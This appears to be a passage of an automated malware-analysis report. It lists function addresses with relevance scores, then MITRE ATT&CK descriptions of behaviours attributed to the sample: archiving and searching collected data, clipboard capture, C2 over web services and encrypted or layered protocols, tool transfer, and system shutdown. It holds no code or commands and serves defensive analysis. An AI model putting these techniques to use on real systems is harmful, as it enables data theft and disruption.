Function 00405D99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Function 004055FF Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403741 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402D69 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00405021 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre